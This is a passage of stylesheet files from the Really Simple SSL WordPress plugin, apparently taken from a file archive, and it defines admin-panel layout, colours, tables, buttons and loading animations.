.rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow{border:0}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:last-child{flex-grow:1}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_Expanding .rdt_TableRow .rdt_TableCell:first-child{padding:0;flex-direction:row}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-user_agents .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableBody .rdt_TableRow .rdt_TableCell:first-child{padding:0 25px;flex-direction:row}.rsssl-content_security_policy .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-permissions_policy .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-user_agents .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-404_blocking .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-hardening-xml .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-two_fa_users .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_logs .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-firewall_logs_content .rsssl-field-wrap .rsssl-learning-mode-delete,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rsssl-learning-mode-delete{float:left}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div{width:100%}.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-content_security_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-permissions_policy .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-user_agents .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-404_blocking .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_white_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_block_list_listing .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-hardening-xml .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-vulnerabilities_overview .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-content_security_policy_source_directives .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-vulnerabilities-measures-overview .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_ip_address .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_users .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_country .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-two_fa_users .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_logs .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-firewall_logs_content .rsssl-field-wrap .rdt_TableCell:last-child div a,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div button,.rsssl-limit_login_attempts_event_log .rsssl-field-wrap .rdt_TableCell:last-child div a{margin-right:10px}.rsssl-limit_login_attempts_event_log .rdt_TableHeadRow .rdt_TableCol:last-child,.rsssl-firewall_logs_content .rdt_TableHeadRow .rdt_TableCol:last-child{justify-content:flex-start}.rsssl-vulnerabilities-measures-overview .allowRowEvents .wp-core-ui select{max-width:100%}.rsssl-vulnerabilities-measures-overview div:first-child{white-space:initial !important}.rsssl-vulnerabilities-measures-overview .rdt_TableCell:nth-child(2) select{max-width:100%}.rsssl-content_security_policy .rdt_TableCol:last-child,.rsssl-permissions_policy .rdt_TableCol:last-child{flex-grow:1;text-align:left}.rsssl-content_security_policy .rdt_TableCol:last-child div,.rsssl-permissions_policy .rdt_TableCol:last-child div{width:100%;display:flex;justify-content:flex-start}.rsssl-content_security_policy .rdt_TableCell:last-child,.rsssl-permissions_policy .rdt_TableCell:last-child{flex-grow:1;text-align:left}.rsssl-content_security_policy .rdt_TableCell:last-child div,.rsssl-permissions_policy .rdt_TableCell:last-child div{width:100%;display:flex;justify-content:flex-end}.rsssl-content_security_policy .rdt_TableCell:last-child div button,.rsssl-permissions_policy .rdt_TableCell:last-child div button{margin-left:0 !important}.rsssl-vulnerabilities-measures-overview .rdt_TableRow .rdt_TableCell:last-child{overflow:hidden;text-overflow:ellipsis;width:200px}.rsssl-content_security_policy_source_directives:has(.rsssl-shield-overlay){min-height:250px}.rsssl .rsssl-new-features-block .rsssl-grid-item-content{display:flex;flex-direction:column;justify-content:space-between}.rsssl .rsssl-new-features{display:flex;flex-direction:row;flex-wrap:wrap;gap:var(--rsp-spacing-xs)}@media only screen and (max-width:1599px) and (min-width:1280px){.rsssl .rsssl-new-features{gap:var(--rsp-spacing-xxs)}}.rsssl .rsssl-new-feature{width:100%;color:var(--rsp-text-color-light);display:flex;align-items:flex-start;min-width:0;gap:var(--rsp-spacing-xs);text-decoration:none}.rsssl .rsssl-new-feature .rsssl-icon{margin-top:2px}.rsssl .rsssl-new-feature .rsssl-new-feature-desc p{font-size:var(--rsp-fs-300)}a.rsssl-skip-link{display:flex;justify-content:center;margin:15px 0 20px}.rsssl-two_fa_users div[data-column-id="5"].rdt_TableCol{display:none}.rsssl-two_fa_users .rdt_TableRow .rdt_TableCell:last-child{flex:1;display:flex;justify-content:flex-end}.rsssl-two_fa_users .rdt_TableHeadRow .rdt_TableCol:last-child{flex-grow:1;display:flex;justify-content:flex-end}.rsssl-two_fa_general .MuiPopper-root,.rsssl-two_fa_general .MuiPaper-root,.rsssl-two_fa_email .MuiPopper-root,.rsssl-two_fa_email .MuiPaper-root,.rsssl-two_fa_totp .MuiPopper-root,.rsssl-two_fa_totp .MuiPaper-root,.rsssl-two_fa_users .MuiPopper-root,.rsssl-two_fa_users .MuiPaper-root{max-height:30px;z-index:15}.rsssl-two_fa_general .MuiPopper-root div,.rsssl-two_fa_general .MuiPaper-root div,.rsssl-two_fa_email .MuiPopper-root div,.rsssl-two_fa_email .MuiPaper-root div,.rsssl-two_fa_totp .MuiPopper-root div,.rsssl-two_fa_totp .MuiPaper-root div,.rsssl-two_fa_users .MuiPopper-root div,.rsssl-two_fa_users .MuiPaper-root div{font-family:inherit !important}.rsssl-two_fa_general .MuiPopper-root ul,.rsssl-two_fa_general .MuiPaper-root ul,.rsssl-two_fa_email .MuiPopper-root ul,.rsssl-two_fa_email .MuiPaper-root ul,.rsssl-two_fa_totp .MuiPopper-root ul,.rsssl-two_fa_totp .MuiPaper-root ul,.rsssl-two_fa_users .MuiPopper-root ul,.rsssl-two_fa_users .MuiPaper-root ul{max-height:initial}.rsssl-add-button__inner .button{display:flex;align-items:center}.rsssl-add-button__inner .button .icon{margin-right:8px}.rsssl-modal .rsssl-intro-logo{width:7em;position:absolute;left:1.6em;height:auto;bottom:.15em;margin:0;padding:0}@media(max-width:768px){.rsssl-modal .rsssl-intro-logo{display:none}}.rsssl-modal .rsssl-ssl-intro-container .rsssl-details{display:flex;padding:var(--rsp-spacing-xs) var(--rsp-spacing-m);gap:var(--rsp-spacing-xs)}.rsssl-modal .rsssl-ssl-intro-container .rsssl-details .rsssl-icon{min-width:25px}.rsssl-modal .rsssl-modal-footer{padding:var(--rsp-spacing-m) var(--rsp-spacing-m)}.rsssl-modal .icon-spin{animation:spin 2s linear infinite}@keyframes spin{0%{transform:rotate(0)}100%{transform:rotate(-360deg)}}.rsssl .rsssl-locked{position:relative;z-index:0}.rsssl .rsssl-locked.rsssl-locked-premium .rsssl-locked-overlay{bottom:var(--rsp-spacing-s);flex-direction:column;z-index:0}.rsssl .rsssl-locked .rsssl-locked-overlay{display:flex;bottom:0;text-align:right;margin-bottom:20px;padding:0;z-index:0}.rsssl .rsssl-locked .rsssl-locked-overlay.rsssl-premium{bottom:0;flex-direction:column}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header{width:100%;flex-direction:row}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-header .rsssl-locked-header-title{font-weight:600;color:var(--rsp-blue)}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-content{flex-direction:row;width:100%}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer{display:flex;align-items:center;justify-content:flex-start;width:100%}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer a{position:relative;float:right !important}.rsssl .rsssl-locked .rsssl-locked-overlay .rsssl-locked-footer::after{content:"";display:table;clear:both}.rsssl .rsssl-disabled .rsssl-field-wrap .rsssl-locked{background:transparent}.rsssl div[class^=rsssl-wizard-] .rsssl-hardening-xml .rsssl-locked .rsssl-shield-overlay{align-items:center;display:flex;justify-content:center}.rsssl-accordeon{border:1px solid #ccc;border-radius:5px;overflow:hidden;transition:all .3s ease}.rsssl-accordeon__header{display:flex;justify-content:space-between;align-items:center;background-color:#f5f5f5;padding:10px;cursor:pointer}.rsssl-accordeon__header__inner{display:flex;align-items:center}.rsssl-accordeon__header__icon{width:20px;height:20px;margin-left:10px}.rsssl-accordeon__header__title{font-size:16px;font-weight:bold}.rsssl-accordeon__header__button__inner{background:100%;border:0;cursor:pointer;font-size:18px}.rsssl-accordeon__content{max-height:0;overflow:hidden;transition:max-height .3s ease}.rsssl-accordeon--open .rsssl-accordeon__content{max-height:300px}.rsssl-accordeon__content__inner{padding:15px;background-color:#fff}.rsssl div[class^=rsssl-wizard-] .rsssl-tooltip-icon .react-tooltip{max-width:300px;white-space:pre-wrap}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label{display:flex}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap label .cmplz-label-text{margin-left:10px}.rsssl div[class^=rsssl-wizard-] .rsssl-field-wrap .rsssl-icon{cursor:pointer}.rsssl .rsssl-skeleton:empty{margin:auto;margin-bottom:25px;width:100%;height:235px;background-image:linear-gradient(-100deg,rgba(255,255,255,0),rgba(255,255,255,0.5) 70%,rgba(255,255,255,0.5) 15%),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0),linear-gradient(#f2f2f2 38px,transparent 0);background-repeat:repeat-y;background-size:50px 200px,100% 117px,100% 117px,100% 117px,100% 117px;background-position:100% 0,1px 1px,1px 40px,1px 79px,1px 118px;background-color:#d6d8db;border-left:1px solid #d6d8db;animation:shine 2.5s infinite}@keyframes shine{to{background-position:0% 0,1px 1px,1px 40px,1px 79px,1px 118px}}.rsssl .rsssl-loader{margin:0;width:50px;height:15px;text-align:center;font-size:10px}.rsssl .rsssl-loader>div{margin:1px;background-color:#333;height:100%;width:3px;display:inline-block;-webkit-animation:sk-stretchdelay 1.2s infinite ease-in-out;animation:sk-stretchdelay 1.2s infinite ease-in-out}.rsssl .rsssl-loader.rsssl-loader-white>div{background-color:#fff}.rsssl .rsssl-loader .rect2{-webkit-animation-delay:-1.1s;animation-delay:-1.1s}.rsssl .rsssl-loader .rect3{-webkit-animation-delay:-1s;animation-delay:-1s}.rsssl .rsssl-loader .rect4{-webkit-animation-delay:-0.9s;animation-delay:-0.9s}.rsssl .rsssl-loader .rect5{-webkit-animation-delay:-0.8s;animation-delay:-0.8s}.rsssl .button-primary .rsssl-loader div{background-color:#fff}@-webkit-keyframes sk-stretchdelay{0%,40%,100%{-webkit-transform:scaleY(0.4)}20%{-webkit-transform:scaleY(1)}}@keyframes sk-stretchdelay{0%,40%,100%{transform:scaleY(0.4);-webkit-transform:scaleY(0.4)}20%{transform:scaleY(1);-webkit-transform:scaleY(1)}}.rsssl{--rsp-brand-primary:var(--rsp-yellow);--rsp-brand-secondary:var(--rsp-blue);--rsp-brand-primary-faded:var(--rsp-yellow-faded)}really-simple-ssl/assets/css/rtl/rsssl-plugin.min.css000064400000005302147510273070016761 0ustar00:root{--rsp-spacing-xxs:5px;--rsp-spacing-xs:10px;--rsp-spacing-s:15px;--rsp-spacing-m:20px;--rsp-spacing-l:25px;--rsp-spacing-xl:30px;--rsp-grid-margin:var(--rsp-spacing-s);--rsp-grid-gap:var(--rsp-spacing-m);--rsp-border-radius:12px;--rsp-border-radius-s:8px;--rsp-border-radius-xs:3px;--rsp-border:1px solid var(--rsp-border-color);--rsp-box-shadow:rgba(0,0,0,0.1) 0 4px 6px -1px,rgba(0,0,0,0.06) 0 2px 4px -1px;--rsp-box-shadow-dark:rgba(0,0,0,0.2) 0 4px 6px -1px,rgba(0,0,0,0.12) 1px 0 4px 1px;--rsp-border-color:#dfdfdf;--rsp-black:#333;--rsp-white:#fff;--rsp-yellow:#fbc43e;--rsp-blue:#009fff;--rsp-dark-yellow:#e6a800;--rsp-dark-blue:#1e73be;--rsp-green:#2e8a37;--rsp-red:#d7263d;--rsp-dark-red:#9b0212;--rsp-pink:#e35899;--rsp-wp-blue:#007cba;--rsp-yellow-faded:#fdf4df;--rsp-blue-faded:#ecf8fe;--rsp-dark-blue-faded:#ebf2f9;--rsp-green-faded:#ecf4ed;--rsp-red-faded:#fbebed;--rsp-pink-faded:#fceff5;--rsp-wp-blue-faded:#c6e0ef;--rsp-background-block-color:var(--rsp-white);--rsp-background-color:#f0f0f1;--rsp-input-background-color:#fff;--rsp-input-text-color:var(--rsp-text-color);--rsp-input-border-color:var(--rsp-grey-400);--rsp-text-color:rgba(26,26,26,0.9);--rsp-text-color-invert:rgba(255,255,255,0.9);--rsp-text-color-white:rgba(255,255,255,0.9);--rsp-text-color-light:rgba(69,69,82,0.9);--rsp-text-color-hover:var(--rsp-green);--rsp-grey-100:#fafafa;--rsp-grey-200:#f7f7f7;--rsp-grey-300:#ededed;--rsp-grey-400:#c6c6c6;--rsp-grey-500:#737373;--rsp-grey-600:#696969;--rsp-color-success:var(--rsp-green);--rsp-color-error:var(--rsp-red);--rsp-color-warning:var(--rsp-yellow);--rsp-color-open:var(--rsp-yellow);--rsp-color-disabled:var(--rsp-grey-300);--rsp-fs-100:.6875rem;--rsp-fs-200:.75rem;--rsp-fs-300:.8125rem;--rsp-fs-400:.875rem;--rsp-fs-500:1rem;--rsp-fs-600:1.125rem;--rsp-fs-700:1.25rem;--rsp-fs-800:1.5rem;--rsp-fs-850:2.8rem;--rsp-fs-900:3.5rem}@keyframes fade-in{0%{opacity:0}100%{opacity:1}}.rsssl-btn-vulnerable{display:inline-block;text-decoration:none;font-size:var(--rsp-fs-100);line-height:2.15384615;min-height:30px;margin:0;padding:4px 8px;min-width:100px;text-align:center;cursor:pointer;font-weight:600;-webkit-appearance:none;border-radius:var(--rsp-border-radius-xs);white-space:nowrap;box-sizing:border-box;background-color:var(--rsp-yellow);color:var(--rsp-black);border-color:var(--rsp-yellow)}.rsssl-btn-vulnerable:hover{text-decoration:underline}.rsssl-btn-vulnerable.rsssl-critical{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-high{background-color:var(--rsp-red);color:var(--rsp-white);border-color:var(--rsp-red)}.rsssl-btn-vulnerable.rsssl-medium{border-color:var(--rsp-yellow);color:var(--rsp-black);background-color:var(--rsp-yellow)}really-simple-ssl/assets/css/admin.css000064400000521123147510273070014030 0ustar00@charset "UTF-8";
/**
*
* Prefix everything
* Name descriptively
* Structure radically
*
* CSS Structure
*	css/
*	├─ admin/
*	│  ├─ base.scss
*	│  ├─ layout.scss
*	│  ├─ modules/
*	│  │  ├─ modal.scss
*	│  │  ├─ button.scss
*	│  │  ├─ modal.scss
*	│  │  ├─ notices.scss
*	│  │  ├─ tips-and-tricks.scss
*	│  │  ├─ etc.....
*	│  ├─ states.scss
*	│  ├─ theme.scss
*	├─ admin.scss
*	├─ admin.min.css
*	├─ admin.css
*	├─ variables.scss
*
*/
:root {
    --rsp-spacing-xxs: 5px;
    --rsp-spacing-xs: 10px;
    --rsp-spacing-s: 15px;
    --rsp-spacing-m: 20px;
    --rsp-spacing-l: 25px;
    --rsp-spacing-xl: 30px;
    --rsp-grid-margin: var(--rsp-spacing-s);
    --rsp-grid-gap: var(--rsp-spacing-m);
    --rsp-border-radius: 12px;
    --rsp-border-radius-s: 8px;
    --rsp-border-radius-xs: 3px;
    --rsp-border: 1px solid var(--rsp-border-color);
    --rsp-box-shadow: rgba(0, 0, 0, 0.1) 0px 4px 6px -1px, rgba(0, 0, 0, 0.06) 0px 2px 4px -1px;
    --rsp-box-shadow-dark: rgba(0, 0, 0, 0.2) 0px 4px 6px -1px, rgba(0, 0, 0, 0.12) 1px 0px 4px 1px;
    --rsp-border-color: #dfdfdf;
    --rsp-black: #333;
    --rsp-white: #fff;
    --rsp-yellow: #fbc43e;
    --rsp-blue: #009fff;
    --rsp-dark-yellow: #e6a800;
    --rsp-dark-blue: #1E73BE;
    --rsp-green: #2e8a37;
    --rsp-red: #D7263D;
    --rsp-dark-red: #9b0212;
    --rsp-pink: #E35899;
    --rsp-wp-blue: #007cba;
    --rsp-yellow-faded: #fdf4df;
    --rsp-blue-faded: #ecf8fe;
    --rsp-dark-blue-faded: #ebf2f9;
    --rsp-green-faded: #ecf4ed;
    --rsp-red-faded: #fbebed;
    --rsp-pink-faded: #fceff5;
    --rsp-wp-blue-faded: #c6e0ef;
    --rsp-background-block-color: var(--rsp-white);
    --rsp-background-color: #f0f0f1;
    --rsp-input-background-color: #fff;
    --rsp-input-text-color: var(--rsp-text-color);
    --rsp-input-border-color: var(--rsp-grey-400);
    --rsp-text-color: rgba(26, 26, 26, 0.9);
    --rsp-text-color-invert: rgba(255, 255, 255, 0.9);
    --rsp-text-color-white: rgba(255, 255, 255, 0.9);
    --rsp-text-color-light: rgba(69, 69, 82, 0.9);
    --rsp-text-color-hover: var(--rsp-green);
    --rsp-grey-100: #fafafa;
    --rsp-grey-200: #f7f7f7;
    --rsp-grey-300: #ededed;
    --rsp-grey-400: #c6c6c6;
    --rsp-grey-500: #737373;
    --rsp-grey-600: #696969;
    --rsp-color-success: var(--rsp-green);
    --rsp-color-error: var(--rsp-red);
    --rsp-color-warning: var(--rsp-yellow);
    --rsp-color-open: var(--rsp-yellow);
    --rsp-color-disabled: var(--rsp-grey-300);
    --rsp-fs-100: 0.6875rem;
    --rsp-fs-200: 0.75rem;
    --rsp-fs-300: 0.8125rem;
    --rsp-fs-400: 0.875rem;
    --rsp-fs-500: 1rem;
    --rsp-fs-600: 1.125rem;
    --rsp-fs-700: 1.25rem;
    --rsp-fs-800: 1.5rem;
    --rsp-fs-850: 2.8rem;
    --rsp-fs-900: 3.5rem;
}

@keyframes fade-in {
    0% {
        opacity: 0;
    }

    100% {
        opacity: 1;
    }
}

.rsssl {
    font-variant-numeric: tabular-nums;
    margin: 0;
    margin-left: -20px;
    font-size: var(--rsp-fs-300);
    box-sizing: border-box;
    color: var(--rsp-text-color);
    font-weight: 400;
    line-height: 1.5;
}

@media only screen and (max-width: 768px) {
    .rsssl {
        margin-left: -9px;
    }
}

.rsssl *, .rsssl *:before, .rsssl *:after {
    box-sizing: inherit;
}

.rsssl body, .rsssl h1, .rsssl h2, .rsssl h3, .rsssl h4, .rsssl h5, .rsssl h6, .rsssl p, .rsssl ol, .rsssl ul {
    margin: 0;
    padding: 0;
}

.rsssl img {
    max-width: 100%;
    height: auto;
}

.rsssl h1, .rsssl h2, .rsssl h3, .rsssl h4, .rsssl h5, .rsssl h6 {
    color: var(--rsp-text-color);
    line-height: 1.5;
}

.rsssl .rsssl-h0 {
    font-size: var(--rsp-fs-900);
    font-weight: 700;
    letter-spacing: 0.025rem;
}

.rsssl h1, .rsssl .rsssl-h1 {
    font-size: var(--rsp-fs-800);
    line-height: 1.5;
    font-weight: 500;
    letter-spacing: 0.025rem;
}

.rsssl h2, .rsssl .rsssl-h2 {
    font-size: var(--rsp-fs-700);
    font-weight: 700;
    letter-spacing: 0.025rem;
}

.rsssl h3, .rsssl .rsssl-h3 {
    font-size: var(--rsp-fs-600);
    font-weight: 600;
    letter-spacing: 0.0125rem;
}

.rsssl h4, .rsssl .rsssl-h4 {
    font-size: var(--rsp-fs-500);
